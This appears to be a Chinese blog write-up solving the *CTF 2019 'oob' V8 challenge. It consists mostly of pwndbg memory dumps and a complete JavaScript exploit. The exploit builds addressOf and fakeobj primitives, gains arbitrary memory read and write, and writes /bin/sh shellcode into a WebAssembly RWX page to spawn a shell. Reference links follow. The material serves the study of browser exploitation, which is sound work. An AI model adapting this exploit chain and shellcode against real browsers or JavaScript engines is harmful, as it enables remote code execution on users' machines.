var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%SystemBreak();

/*利用job命令查看函数结构对象,经过Function-->shared_info-->WasmExportedFunctionData-->instance等一系列调用关系,在instance+0x88的固定偏移处,就能读取到存储wasm代码的内存页起始地址

DebugPrint: 0x59fa561fab9: [Function] in OldSpace
- map: 0x3e43f7c44379 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x059fa5602109 <JSFunction (sfi = 0xa1f9e548039)>
- elements: 0x1de519340c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x059fa561fa81 <SharedFunctionInfo 0>
- name: 0x1de519344ae1 <String[#1]: 0>
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x059fa5601869 <NativeContext[246]>
- code: 0x3f2b78882001 <Code JS_TO_WASM_FUNCTION>
- WASM instance 0x59fa561f8c1
- WASM function index 0
- properties: 0x1de519340c71 <FixedArray[0]> {
#length: 0x0a1f9e5404b9 <AccessorInfo> (const accessor descriptor)
#name: 0x0a1f9e540449 <AccessorInfo> (const accessor descriptor)
#arguments: 0x0a1f9e540369 <AccessorInfo> (const accessor descriptor)
#caller: 0x0a1f9e5403d9 <AccessorInfo> (const accessor descriptor)
}
pwndbg> job 0x059fa561fa81
0x59fa561fa81: [SharedFunctionInfo] in OldSpace
- map: 0x1de5193409e1 <Map[56]>
- name: 0x1de519344ae1 <String[#1]: 0>
- kind: NormalFunction
- function_map_index: 144
- formal_parameter_count: 0
- expected_nof_properties: 0
- language_mode: sloppy
- data: 0x059fa561fa59 <WasmExportedFunctionData>
- code (from data): 0x3f2b78882001 <Code JS_TO_WASM_FUNCTION>
- function token position: -1
- start position: -1
- end position: -1
- no debug info
- scope info: 0x1de519340c61 <ScopeInfo[0]>
- length: 0
- feedback_metadata: 0x1de519342a39: [FeedbackMetadata]
- map: 0x1de519341319 <Map>
- slot_count: 0

pwndbg> job 0x059fa561fa59
0x59fa561fa59: [WasmExportedFunctionData] in OldSpace
- map: 0x1de519345879 <Map[40]>
- wrapper_code: 0x3f2b78882001 <Code JS_TO_WASM_FUNCTION>
- instance: 0x059fa561f8c1 <Instance map = 0x3e43f7c49789>
- function_index: 0
pwndbg> job 0x059fa561f8c1
0x59fa561f8c1: [WasmInstanceObject] in OldSpace
- map: 0x3e43f7c49789 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2aeb9878ac19 <Object map = 0x3e43f7c4abd9>
- elements: 0x1de519340c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x2aeb9878e411 <Module map = 0x3e43f7c491e9>
- exports_object: 0x2aeb9878e681 <Object map = 0x3e43f7c4ad19>
- native_context: 0x059fa5601869 <NativeContext[246]>
- memory_object: 0x059fa561f9e9 <Memory map = 0x3e43f7c4a189>
- table 0: 0x2aeb9878e619 <Table map = 0x3e43f7c49aa9>
- imported_function_refs: 0x1de519340c71 <FixedArray[0]>
- managed_native_allocations: 0x2aeb9878e5c1 <Foreign>
- memory_start: 0x7f85c0d80000
- memory_size: 65536
- memory_mask: ffff
- imported_function_targets: 0x561c5e8f7100
- globals_start: (nil)
- imported_mutable_globals: 0x561c5e8f8480
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: (nil)
- indirect_function_table_targets: (nil)
- properties: 0x1de519340c71 <FixedArray[0]> {}
pwndbg> telescope 0x059fa561f8c1-1+0x88
00:0000│ 0x59fa561f948 —▸ 0x1541e9fb6000 ◂— movabs r10, 0x1541e9fb6260
01:0008│ 0x59fa561f950 —▸ 0x2aeb9878e411 ◂— 0x7100003e43f7c491
02:0010│ 0x59fa561f958 —▸ 0x2aeb9878e681 ◂— 0x7100003e43f7c4ad
03:0018│ 0x59fa561f960 —▸ 0x59fa5601869 ◂— 0x1de519340f
04:0020│ 0x59fa561f968 —▸ 0x59fa561f9e9 ◂— 0x7100003e43f7c4a1
05:0028│ 0x59fa561f970 —▸ 0x1de5193404d1 ◂— 0x1de5193405

pwndbg> vmmap 0x1541e9fb6000 #wasm code addr
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x1541e9fb6000 0x1541e9fb7000 rwxp 1000 0 +0x0
*/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
var obj = {"a": 1};
var objArray = [obj];
var floatArray = [1.1];
var objArrayMap = objArray.oob();
var floatArrayMap = floatArray.oob();

var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}

// leak the addrsess of obj
function addressOf(obj_to_leak){
objArray[0] = obj_to_leak;
objArray.oob(floatArrayMap); // type(obj)-->type(float)
let addr = f2i(objArray[0])-1n;
objArray.oob(objArrayMap);
return addr;
}

function fakeobj(addr_to_fake){
floatArray[0] = i2f(addr_to_fake+1n);
floatArray.oob(objArrayMap); // type(float)-->type(obj)
let fake_obj = floatArray[0];
floatArray.oob(floatArrayMap);
return fake_obj;
}

var fake_array = [
floatArrayMap,
i2f(0n),
i2f(0x41414141n),// fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2,
];

var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x30n
var fake_object = fakeobj(fake_object_addr);

function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function writeDataview(addr,data){
write64(buf_backing_store_addr, addr);
data_view.setBigUint64(0, data, true);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

//get shell
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm func addr: 0x" + hex(f_addr));
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr);
data_view.setFloat64(0, i2f(shellcode[0]), true);
data_view.setFloat64(8, i2f(shellcode[1]), true);
data_view.setFloat64(16, i2f(shellcode[2]), true);
f();

结语

复现了蛮久的,细节还需要多理解。

参考文章

https://juejin.im/post/6844904096260947981#heading-2

https://changochen.github.io/2019-04-29-starctf-2019.html

https://www.freebuf.com/vuls/203721.html

https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/

https://e3pem.github.io/2019/07/31/browser/%E6%B5%8F%E8%A7%88%E5%99%A8%E5%85%A5%E9%97%A8%E4%B9%8Bstarctf-OOB/